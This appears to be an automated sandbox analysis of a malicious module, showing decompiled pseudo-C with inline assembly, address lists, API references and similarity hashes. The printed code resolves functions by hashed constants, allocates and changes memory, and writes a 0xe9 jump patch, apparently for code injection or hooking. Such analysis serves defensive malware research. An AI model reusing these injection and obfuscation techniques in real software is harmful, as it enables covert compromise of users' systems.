				E705BF558( &_v212, 0x20);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x458], xmm0");
				E705BF558( &_v216, 0x30);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x460], xmm0");
				E705BF558( &_v220, 0x40);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x468], xmm0");
				E705BF558( &_v224, 0x50);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x470], xmm0");
				E705BF558( &_v228, 0x60);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x478], xmm0");
				E705BF558( &_v232, 0x70);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x480], xmm0");
				E705BF558( &_v236, 0x80);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x488], xmm0");
				E705BF558( &_v240, 0x90);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x490], xmm0");
				E705BF558( &_v244, 0xa0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x498], xmm0");
				E705BF558( &_v248, 0xb0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4a0], xmm0");
				E705BF558( &_v252, 0xc0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4a8], xmm0");
				E705BF558( &_v256, 0xd0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4b0], xmm0");
				E705BF558( &_v260, 0xe0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4b8], xmm0");
				E705BF558( &_v264, 0xf0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4c0], xmm0");
				E705BF558( &_v268, 0x100);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4c8], xmm0");
				_t282 = E705BF558( &_v272, 0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp], xmm0");
				_v248 = E705B1D2C(_v244, _t434, _t481, _t282, _t282);
				_t318 = _t434;
				E705BB338( &_v244, _v252, _t481, _v248, _t318);
				E705BF8DC( &_v292, _t481);
				_v296 = 0;
				_t410 =  &_v292;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v292 + 0x10)) = 0xfb42c037;
				asm("movq [ecx+0x18], xmm0");
				E705BF8C4( &_v292, E705BF568(_t410) + 0x10);
				E705BF558( &_v296, E705BF568( &_v296) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v304 = _v304 + 1;
				_t414 =  &_v300;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v300 + 0x10)) = 0x7082aaf3;
				asm("movq [ecx+0x18], xmm0");
				E705BF8C4( &_v300, E705BF568(_t414) + 0x10);
				E705BF558( &_v304, E705BF568( &_v304) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v312 = _v312 + 1;
				_t418 =  &_v308;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v308 + 0x10)) = 0x1eeb5e35;
				asm("movq [ecx+0x18], xmm0");
				E705BF8C4( &_v308, E705BF568(_t418) + 0x10);
				E705BF558( &_v312, E705BF568( &_v312) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v320 = _v320 + 1;
				_t422 =  &_v316;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v316 + 0x10)) = 0xe856fc47;
				asm("movq [ecx+0x18], xmm0");
				E705BF8C4( &_v316, E705BF568(_t422) + 0x10);
				E705BF558( &_v320, E705BF568( &_v320) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				 *_t480 =  *_t480 + 1;
				_t310 = _t480;
				_push(_t310);
				_push(_t318);
				_push(_v288);
				_t154 = _t310 + 0x2c; // 0x2c
				E705BBAB8(_t154,  *_t480);
				E705BF558( &_v336, 0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4d8], xmm0");
				E705BF558( &_v340, 0x10);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4e0], xmm0");
				E705BF558( &_v344, 0x20);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4d0], xmm0");
				E705BF558( &_v348, 0x30);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4e8], xmm0");
				E705BF6F0( &_v312);
				return E705BF6F0( &_v352);
			}

0x705b1494
0x705b1498
0x705b149d
0x705b14a3
0x705b14ab
0x705b14b0
0x705b14bc
0x705b14c0
0x705b14d2
0x705b14e8
0x705b14f3
0x705b14f4
0x705b14f5
0x705b14f6
0x705b14f7
0x705b14fa
0x705b14fe
0x705b1502
0x705b1509
0x705b151b
0x705b1531
0x705b153c
0x705b153d
0x705b153e
0x705b153f
0x705b1540
0x705b1543
0x705b1547
0x705b154b
0x705b1552
0x705b1564
0x705b157a
0x705b1585
0x705b1586
0x705b1587
0x705b1588
0x705b1589
0x705b158c
0x705b1590
0x705b1594
0x705b159b
0x705b15ad
0x705b15c3
0x705b15ce
0x705b15cf
0x705b15d0
0x705b15d1
0x705b15d2
0x705b15d5
0x705b15d9
0x705b15dd
0x705b15e4
0x705b15f6
0x705b160c
0x705b1617
0x705b1618
0x705b1619
0x705b161a
0x705b161b
0x705b161e
0x705b1622
0x705b1626
0x705b162d
0x705b163f
0x705b1655
0x705b1660
0x705b1661
0x705b1662
0x705b1663
0x705b1664
0x705b1667
0x705b166b
0x705b166f
0x705b1676
0x705b1688
0x705b169e
0x705b16a9
0x705b16aa
0x705b16ab
0x705b16ac
0x705b16ad
0x705b16b0
0x705b16b4
0x705b16b8
0x705b16bf
0x705b16d1
0x705b16e7
0x705b16f2
0x705b16f3
0x705b16f4
0x705b16f5
0x705b16f6
0x705b16f9
0x705b16fd
0x705b1701
0x705b1708
0x705b171a
0x705b1730
0x705b173b
0x705b173c
0x705b173d
0x705b173e
0x705b173f
0x705b1742
0x705b1746
0x705b174a
0x705b1751
0x705b1763
0x705b1779
0x705b1784
0x705b1785
0x705b1786
0x705b1787
0x705b1788
0x705b178b
0x705b178f
0x705b1793
0x705b179a
0x705b17ac
0x705b17c2
0x705b17cd
0x705b17ce
0x705b17cf
0x705b17d0
0x705b17d1
0x705b17d4
0x705b17d8
0x705b17dc
0x705b17e3
0x705b17f5
0x705b180b
0x705b1816
0x705b1817
0x705b1818
0x705b1819
0x705b181a
0x705b181d
0x705b1821
0x705b1825
0x705b182c
0x705b183e
0x705b1854
0x705b185f
0x705b1860
0x705b1861
0x705b1862
0x705b1863
0x705b1866
0x705b186a
0x705b186e
0x705b1875
0x705b1887
0x705b189d
0x705b18a8
0x705b18a9
0x705b18aa
0x705b18ab
0x705b18ac
0x705b18af
0x705b18b3
0x705b18b7
0x705b18be
0x705b18d0
0x705b18e6
0x705b18f1
0x705b18f2
0x705b18f3
0x705b18f4
0x705b18f5
0x705b18f8
0x705b18fc
0x705b1900
0x705b1907
0x705b1919
0x705b192f
0x705b193a
0x705b193b
0x705b193c
0x705b193d
0x705b193e
0x705b1941
0x705b1945
0x705b1949
0x705b1950
0x705b1962
0x705b1978
0x705b1983
0x705b1984
0x705b1985
0x705b1986
0x705b198c
0x705b198f
0x705b1991
0x705b199c
0x705b19a3
0x705b19ac
0x705b19b4
0x705b19bb
0x705b19c4
0x705b19cc
0x705b19d3
0x705b19dc
0x705b19e4
0x705b19eb
0x705b19f4
0x705b19fc
0x705b1a03
0x705b1a0c
0x705b1a14
0x705b1a1b
0x705b1a24
0x705b1a2c
0x705b1a36
0x705b1a3f
0x705b1a47
0x705b1a51
0x705b1a5a
0x705b1a62
0x705b1a6c
0x705b1a75
0x705b1a7d
0x705b1a87
0x705b1a90
0x705b1a98
0x705b1aa2
0x705b1aab
0x705b1ab3
0x705b1abd
0x705b1ac6
0x705b1ace
0x705b1ad8
0x705b1ae1
0x705b1ae9
0x705b1af3
0x705b1afc
0x705b1b04
0x705b1b0e
0x705b1b17
0x705b1b1f
0x705b1b26
0x705b1b2f
0x705b1b37
0x705b1b3e
0x705b1b43
0x705b1b51
0x705b1b55
0x705b1b64
0x705b1b6d
0x705b1b72
0x705b1b79
0x705b1b7d
0x705b1b81
0x705b1b88
0x705b1b9a
0x705b1bb0
0x705b1bbb
0x705b1bbc
0x705b1bbd
0x705b1bbe
0x705b1bbf
0x705b1bc2
0x705b1bc6
0x705b1bca
0x705b1bd1
0x705b1be3
0x705b1bf9
0x705b1c04
0x705b1c05
0x705b1c06
0x705b1c07
0x705b1c08
0x705b1c0b
0x705b1c0f
0x705b1c13
0x705b1c1a
0x705b1c2c
0x705b1c42
0x705b1c4d
0x705b1c4e
0x705b1c4f
0x705b1c50
0x705b1c51
0x705b1c54
0x705b1c58
0x705b1c5c
0x705b1c63
0x705b1c75
0x705b1c8b
0x705b1c96
0x705b1c97
0x705b1c98
0x705b1c99
0x705b1c9a
0x705b1c9d
0x705b1ca0
0x705b1ca1
0x705b1ca2
0x705b1ca9
0x705b1cac
0x705b1cb7
0x705b1cbe
0x705b1cc7
0x705b1ccf
0x705b1cd6
0x705b1cdf
0x705b1ce7
0x705b1cee
0x705b1cf7
0x705b1cff
0x705b1d04
0x705b1d0d
0x705b1d15
0x705b1d2a

APIs

LoadLibraryA.KERNELBASE ref: 705B199C

Strings

$#,, xrefs: 705B1701

Memory Dump Source

Source File: 00000002.00000002.499605532.00000000705B1000.00000020.00020000.sdmp, Offset: 705B0000, based on PE: true

Associated: 00000002.00000002.499588010.00000000705B0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499645992.00000000705CA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499659691.00000000705CD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.499682572.00000000705CF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: LibraryLoad
String ID: $#,
API String ID: 1029625771-2557146312
Opcode ID: de164015768a5f4d653f5e77e85c086268e152652350212cf25af95f102b882a
Instruction ID: 368f856ae5d600f3d37f1124d83e2b6566390093a623bb4bdb7b77859d4eeb6d
Opcode Fuzzy Hash: de164015768a5f4d653f5e77e85c086268e152652350212cf25af95f102b882a
Instruction Fuzzy Hash: 14324D72404605AEC715DF20C856ADFBBA0AFE2205F104B1EB4996A1E1FF71FA8AC751

Uniqueness

Uniqueness Score: -1.00%

Function 705B9144, Relevance: 2.4, Strings: 1, Instructions: 1104
COMMONCrypto

Download Yara Rule

C-Code - Quality: 59%

			E705B9144(intOrPtr __ecx, intOrPtr __edx, void* __eflags) {
				intOrPtr _v20;
				intOrPtr _v40;
				char _v60;
				intOrPtr _v92;
				void* _v96;
				char _v100;
				char _v104;
				char _v108;
				intOrPtr _v112;
				signed int _v116;
				char _v128;
				intOrPtr _v132;
				void* _v136;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v156;
				char _v160;
				signed int _v164;
				char _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				intOrPtr _v188;
				signed int _v192;
				char _v196;
				void* _v200;
				signed int _v204;
				char _v208;
				char _v212;
				char _v216;
				intOrPtr _v220;
				intOrPtr _v228;
				intOrPtr _v236;
				void* _v268;
				char _v292;
				char _v308;
				char _v316;
				char _v320;
				void* _v324;
				char _v332;
				char _v340;
				void* _v356;
				void* _v360;
				char _v364;
				char _v380;
				signed int _v388;
				intOrPtr _v392;
				signed int _v396;
				intOrPtr _v400;
				signed int _v404;
				char _v408;
				void* _v412;
				char _v416;
				signed int* _v420;
				char _v424;
				char _v428;
				char _v432;
				char _v436;
				intOrPtr _v440;
				signed int* _v444;
				char _v448;
				void* _v452;
				intOrPtr _v460;
				char _v464;
				void* _v468;
				char _v472;
				intOrPtr _v476;
				char _v480;
				void* _v484;
				char _v492;
				char _v496;
				void* _v500;
				char _v508;
				char _v516;
				signed int _v520;
				char _v524;
				char _v528;
				char _v532;
				char _v536;
				char _v540;
				char _v544;
				void* _v548;
				char _v552;
				char _v556;
				char _v560;
				signed int _v564;
				signed int _v568;
				char _v572;
				char _v576;
				char _v580;
				char _v584;
				char _v588;
				char _v592;
				char _v596;
				char _v600;
				char _v604;
				char _v608;
				char _v612;
				char _v616;
				char _v620;
				char _v624;
				signed int _v628;
				char _v632;
				char _v636;
				char _v640;
				char _v644;
				char _v648;
				char _v652;
				char _v656;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t437;
				intOrPtr _t442;
				signed int _t444;
				char* _t459;
				char _t534;
				signed int _t544;
				intOrPtr _t546;
				signed int _t550;
				signed int _t556;
				intOrPtr _t561;
				signed int _t567;
				char _t579;
				intOrPtr _t584;
				char _t585;
				intOrPtr _t589;
				char _t590;
				intOrPtr _t594;
				char _t595;
				intOrPtr _t599;
				char _t600;
				intOrPtr _t604;
				char _t605;
				intOrPtr _t609;
				signed int _t622;
				char _t629;
				intOrPtr _t633;
				signed char* _t635;
				signed int _t638;
				intOrPtr _t641;
				signed int* _t647;
				signed int* _t650;
				intOrPtr _t665;
				char* _t806;
				signed int* _t836;
				char* _t837;
				char* _t844;
				void* _t845;
				intOrPtr* _t854;
				signed int* _t856;
				intOrPtr* _t857;
				signed int* _t858;
				signed int* _t860;
				signed int* _t863;
				intOrPtr _t864;
				intOrPtr _t867;
				char _t868;
				signed int _t869;
				intOrPtr* _t872;
				intOrPtr* _t874;
				intOrPtr* _t875;
				intOrPtr* _t876;
				intOrPtr* _t877;
				intOrPtr* _t878;
				signed int* _t881;
				intOrPtr* _t882;
				char* _t907;
				void* _t935;
				char _t950;
				char _t951;
				intOrPtr* _t953;
				void* _t954;
				intOrPtr* _t955;
				void* _t957;

				_t957 = __eflags;
				_t953 =  &_v496;
				_t641 = __edx;
				_v40 = __ecx;
				_t951 =  *((intOrPtr*)(__ecx + 0xc));
				E705C2F8C(0x23627913, 0xae88daa3);
				_v496 = 0;
				E705BF620( &_v492, 0);
				_v480 = 0;
				_v476 = 0;
				E705BF620( &_v472, 0);
				_v528 = 0;
				E705BF620( &_v524, 0);
				_v392 = 0x4145240a;
				asm("pxor xmm0, xmm0");
				asm("movq [ecx+0x90], xmm0");
				E705BF8C4( &_v528, E705BF568( &_v528) + 0x10);
				E705BF558( &_v532, E705BF568( &_v532) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v540 = _v540 + 1;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v536 + 0x88)) = 0x22dc1034;
				asm("movq [ecx+0x90], xmm0");
				E705BF8C4( &_v536, E705BF568( &_v536) + 0x10);
				E705BF558( &_v540, E705BF568( &_v540) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v548 = _v548 + 1;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v544 + 0x88)) = 0xc06fd820;
				asm("movq [ecx+0x90], xmm0");
				E705BF8C4( &_v544, E705BF568( &_v544) + 0x10);
				E705BF558( &_v548, E705BF568( &_v548) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v556 = _v556 + 1;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v552 + 0x88)) = 0xa54975b2;
				asm("movq [ecx+0x90], xmm0");
				E705BF8C4( &_v552, E705BF568( &_v552) + 0x10);
				E705BF558( &_v556, E705BF568( &_v556) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v564 = _v564 + 1;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v560 + 0x88)) = 0x271e028;
				asm("movq [ecx+0x90], xmm0");
				E705BF8C4( &_v560, E705BF568( &_v560) + 0x10);
				E705BF558( &_v564, E705BF568( &_v564) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v572 = _v572 + 1;
				asm("pxor xmm0, xmm0");
				( &_v568)[0x22] = 0xf279aa39;
				asm("movq [ecx+0x90], xmm0");
				E705BF8C4( &_v568, E705BF568( &_v568) + 0x10);
				E705BF558( &_v572, E705BF568( &_v572) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				 *_t953 =  *_t953 + 1;
				E705C413C(0xa5eabdf8, _t953);
				E705BF558( &_v576, 0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x4c], xmm0");
				E705BF558( &_v580, 0x10);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x54], xmm0");
				E705BF558( &_v584, 0x20);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x64], xmm0");
				E705BF558( &_v588, 0x30);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x6c], xmm0");
				E705BF558( &_v592, 0x40);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x74], xmm0");
				E705BF558( &_v596, 0x50);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x7c], xmm0");
				_v584 = _t951;
				E705BADB8( &_v584,  &_v172, _t957,  &_v192);
				_t889 = _v176;
				_t931 = _v172;
				if((_v176 | _v172) != 0) {
					E705BB338( &_v308, _t951, __eflags, _t889, _t931);
					E705BF8DC( &_v516, __eflags);
					_v520 = 0;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v516 + 0x88)) = 0x5889e652;
					asm("movq [eax+0x8], xmm0");
					E705BF8C4( &_v516, E705BF568( &_v516) + 0x10);
					E705BF558( &_v520, E705BF568( &_v520) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v528 = _v528 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v524 + 0x88)) = 0x1eeb5e35;
					asm("movq [eax+0x8], xmm0");
					E705BF8C4( &_v524, E705BF568( &_v524) + 0x10);
					E705BF558( &_v528, E705BF568( &_v528) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v536 = _v536 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v532 + 0x88)) = 0xac5d5303;
					asm("movq [eax+0x8], xmm0");
					E705BF8C4( &_v532, E705BF568( &_v532) + 0x10);
					E705BF558( &_v536, E705BF568( &_v536) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v544 = _v544 + 1;
					_t954 = _t953 + 0xfffffff4;
					asm("movq xmm0, [esp+0x1bc]");
					asm("movq [esp], xmm0");
					_v548 =  &_v544;
					E705BBAB8( &_v340, __eflags);
					E705BF558( &_v552, 0);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x5c], xmm0");
					E705BF558( &_v556, 0x10);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x84], xmm0");
					_t935 = E705BF558( &_v560, 0x20);
					_v164 =  *((intOrPtr*)(_t935 + 8));
					_v144 =  *((intOrPtr*)(_t935 + 0xc));
					E705BF620( &_v396, 0);
					E705BF620( &_v416, 0);
					_push(0);
					_push( *0x705cb7c4);
					E705C20A4(__eflags,  &_v100);
					E705BF75C( &_v416, __eflags);
					E705BE054( &_v100);
					E705BF8C4( &_v436, E705BF744( &_v420,  &_v100));
					_t437 = E705BF558( &_v424, 0);
					E705B7970(_t951, _t437, E705BF558( &_v444, 0), _v112);
					_t442 = E705BF568( &_v448);
					_v228 = _t442;
					_t101 = _t442 + 2; // 0x2
					_v188 = E705BB0A4( &_v584, 0x20000000, __eflags, _t101);
					_v236 = 0x20000000;
					_t444 = E705BB0A4( &_v588, 0x80000000, __eflags, 0x82);
					_v184 = _t444;
					_v204 = 0x80000000;
					__eflags = _t444 | _v204;
					if((_t444 | _v204) == 0) {
						L51:
						E705BF6F0( &_v380);
						E705BF6F0( &_v364);
						E705BF6F0( &_v332);
						goto L1;
					}
					__eflags = _v116 | _v164;
					if((_v116 | _v164) == 0) {
						goto L51;
					}
					E705C35D4( &_v292, 0, 0x80);
					_t955 = _t954 + 0xc;
					 *((intOrPtr*)( &_v316 + 0x78)) = _v20;
					E705BCDC0( &_v316, 0);
					_t459 =  &_v320;
					_t854 = _t459 + 0xe8;
					 *_t854 = _t641;
					 *((intOrPtr*)(_t854 - 4)) = _v20;
					_push(_t459);
					E705BB48C(_t641, _t459 - 0x20, _t854 - 4, _v20, _t951, _t951, _t854 - 4);
					asm("cdq");
					asm("movd xmm1, eax");
					asm("movd xmm0, edx");
					asm("punpckldq xmm1, xmm0");
					asm("movq [esp+0x134], xmm1");
					_v236 = E705BF568(_v20);
					asm("cdq");
					asm("movd xmm1, eax");
					asm("movd xmm0, edx");
					asm("punpckldq xmm1, xmm0");
					asm("movq [esi+0x8], xmm1");
					_v220 = E705BF568(_t641);
					asm("cdq");
					asm("movd xmm1, eax");
					asm("movd xmm0, edx");
					asm("punpckldq xmm1, xmm0");
					asm("movq [ebx-0x90], xmm1");
					E705C3C8C(_t951,  &_v60 - 0x80, __eflags, _v148, _v128, 7,  &_v60);
					_t133 =  &(( &_v564)[0x58]); // 0x160
					_t856 = _t133;
					 *_t856 = _v164;
					_t856[1] = ( &_v564)[0x69];
					E705BF8DC( &_v564, __eflags);
					_v568 = 0;
					_t746 =  &_v564;
					asm("pxor xmm0, xmm0");
					_t136 = _t746 + 0x88; // 0x88
					 *_t136 = 0x853cdd04;
					asm("movq [eax+0x8], xmm0");
					E705BF8C4( &_v564, E705BF568( &_v564) + 0x10);
					E705BF558( &_v568, E705BF568( &_v568) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v576 = _v576 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v572 + 0x88)) = 0xb162dc4e;
					asm("movq [eax+0x8], xmm0");
					E705BF8C4( &_v572, E705BF568( &_v572) + 0x10);
					E705BF558( &_v576, E705BF568( &_v576) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v584 = _v584 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v580 + 0x88)) = 0xc15ccc53;
					asm("movq [eax+0x8], xmm0");
					E705BF8C4( &_v580, E705BF568( &_v580) + 0x10);
					E705BF558( &_v584, E705BF568( &_v584) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v592 = _v592 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v588 + 0x88)) = 0x73f8f999;
					asm("movq [eax+0x8], xmm0");
					E705BF8C4( &_v588, E705BF568( &_v588) + 0x10);
					E705BF558( &_v592, E705BF568( &_v592) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v600 = _v600 + 1;
					_t762 =  &_v596;
					asm("pxor xmm0, xmm0");
					_t160 = _t762 + 0x88; // 0xa8
					 *_t160 = 0x4145240a;
					asm("movq [eax+0x8], xmm0");
					E705BF8C4( &_v596, E705BF568( &_v596) + 0x10);
					E705BF558( &_v600, E705BF568( &_v600) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v608 = _v608 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v604 + 0x88)) = 0xf06b4c6b;
					asm("movq [eax+0x8], xmm0");
					E705BF8C4( &_v604, E705BF568( &_v604) + 0x10);
					E705BF558( &_v608, E705BF568( &_v608) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v616 = _v616 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v612 + 0x88)) = 0x7d07f92f;
					asm("movq [eax+0x8], xmm0");
					E705BF8C4( &_v612, E705BF568( &_v612) + 0x10);
					E705BF558( &_v616, E705BF568( &_v616) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v624 = _v624 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v620 + 0x88)) = 0x2c2324e8;
					asm("movq [eax+0x8], xmm0");
					E705BF8C4( &_v620, E705BF568( &_v620) + 0x10);
					E705BF558( &_v624, E705BF568( &_v624) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t857 = _t955;
					 *_t857 =  *_t857 + 1;
					E705C413C(0xa5eabdf8, _t857);
					E705BF558( &_v628, 0);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0xf4], xmm0");
					E705BF558( &_v632, 0x10);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0xfc], xmm0");
					E705BF558( &_v636, 0x20);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x104], xmm0");
					E705BF558( &_v640, 0x30);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x10c], xmm0");
					E705BF558( &_v644, 0x40);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x114], xmm0");
					E705BF558( &_v648, 0x50);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x11c], xmm0");
					E705BF558( &_v652, 0x60);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x124], xmm0");
					E705BF558( &_v656, 0x70);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [ecx+0x118], xmm0");
					_t534 = E705BA5A4( &_v644, __eflags);
					_v524 = _t857;
					_t950 = _t534;
					__eflags = _t950 - 0xffffffffffffffff | _t857 - 0xffffffffffffffff;
					if((_t950 - 0xffffffffffffffff | _t857 - 0xffffffffffffffff) == 0) {
						L50:
						E705BB608(_t955 + 0xbc);
						E705BCDE0( &_v320, __eflags);
						goto L51;
					}
					_t858 =  &_v128;
					__eflags =  *_t858 | _t858[1];
					if(( *_t858 | _t858[1]) != 0) {
						L18:
						_v396 = 0;
						while(1) {
							__eflags = E705BAD68(0x80, _t950, _v400, _v112, _v132);
							if(__eflags != 0) {
								break;
							}
							_t605 = E705BA5A4( &_v520, __eflags);
							_v400 = 0x80;
							_t950 = _t605;
							__eflags = _t950 - 0xffffffffffffffff | 0x81;
							if((_t950 - 0xffffffffffffffff | 0x81) == 0) {
								goto L50;
							}
							_t878 =  &_v396;
							_t609 =  *_t878 + 1;
							 *_t878 = _t609;
							__eflags = _t609 - 0xa;
							if(_t609 != 0xa) {
								continue;
							}
							goto L50;
						}
						_v396 = 0;
						while(1) {
							_push(0x80);
							_push(_v132);
							_push(_v112);
							_push(_v400);
							_push(_t950);
							_t860 =  &(( &_v520)[0x38]);
							__eflags = E705BA298( &_v520, _t860);
							if(__eflags != 0) {
								break;
							}
							_t600 = E705BA5A4( &_v540, __eflags);
							_v420 = _t860;
							_t950 = _t600;
							__eflags = _t950 - 0xffffffffffffffff | _t860 - 0xffffffffffffffff;
							if((_t950 - 0xffffffffffffffff | _t860 - 0xffffffffffffffff) == 0) {
								goto L50;
							}
							_t877 =  &_v416;
							_t604 =  *_t877 + 1;
							 *_t877 = _t604;
							__eflags = _t604 - 0xa;
							if(_t604 != 0xa) {
								continue;
							}
							goto L50;
						}
						asm("cdq");
						asm("movd xmm1, eax");
						_v416 =  *((intOrPtr*)(_t955 + 0x1a4));
						_t647 =  &_v408;
						asm("movd xmm0, edx");
						asm("punpckldq xmm1, xmm0");
						 *_t647 = 0;
						 *((intOrPtr*)(_t647 - 4)) = _v188;
						asm("movq [edx], xmm1");
						_t544 = E705C3BA0(_t951, _t647 - 8, __eflags,  &(_t647[0x48]), 0x40, _t647);
						__eflags = _t544;
						if(_t544 != 0) {
							goto L50;
						}
						_v180 = 0;
						while(1) {
							_t863 = _v184;
							__eflags = E705BAD68(_t863, _t950, _v420,  *((intOrPtr*)(_t955 + 0x1a8)), _v188);
							if(__eflags != 0) {
								break;
							}
							_t595 = E705BA5A4( &_v540, __eflags);
							_v420 = _t863;
							_t950 = _t595;
							__eflags = _t950 - 0xffffffffffffffff | _t863 - 0xffffffffffffffff;
							if((_t950 - 0xffffffffffffffff | _t863 - 0xffffffffffffffff) == 0) {
								goto L50;
							}
							_t876 =  &_v180;
							_t599 =  *_t876 + 1;
							 *_t876 = _t599;
							__eflags = _t599 - 0xa;
							if(_t599 != 0xa) {
								continue;
							}
							goto L50;
						}
						_v184 = 0;
						while(1) {
							_t546 = E705BF558( &_v404, 0);
							_push(E705BF568( &_v408));
							_push(_v192);
							_push(_v144);
							_push(_v424);
							_push(_t950);
							_t864 = _t546;
							__eflags = E705BA298( &_v544, _t864);
							if(__eflags != 0) {
								break;
							}
							_t590 = E705BA5A4( &_v560, __eflags);
							_v440 = _t864;
							_t950 = _t590;
							__eflags = _t950 - 0xffffffffffffffff | _t864 - 0xffffffffffffffff;
							if((_t950 - 0xffffffffffffffff | _t864 - 0xffffffffffffffff) == 0) {
								goto L50;
							}
							_t875 =  &_v204;
							_t594 =  *_t875 + 1;
							 *_t875 = _t594;
							__eflags = _t594 - 0xa;
							if(_t594 != 0xa) {
								continue;
							}
							goto L50;
						}
						_t550 = E705C3BA0(_t951,  &_v428 - 8, __eflags,  &_v428 + 0x120, _v428,  &_v428);
						__eflags = _t550;
						if(_t550 != 0) {
							goto L50;
						}
						E705BF620( &_v208, 0);
						_v100 = 0xe9;
						E705BF578( &_v100 - 0x70, __eflags,  &_v100, 1);
						_t650 =  &_v104;
						_t556 = _v172 -  *((intOrPtr*)(_t650 - 0x54)) + 0xfffffffb;
						__eflags = _t556;
						 *_t650 = _t556;
						E705BF578(_t650 - 0x74, __eflags, _t650, 4);
						_t907 =  &_v448;
						asm("movq xmm0, [0x705cb798]");
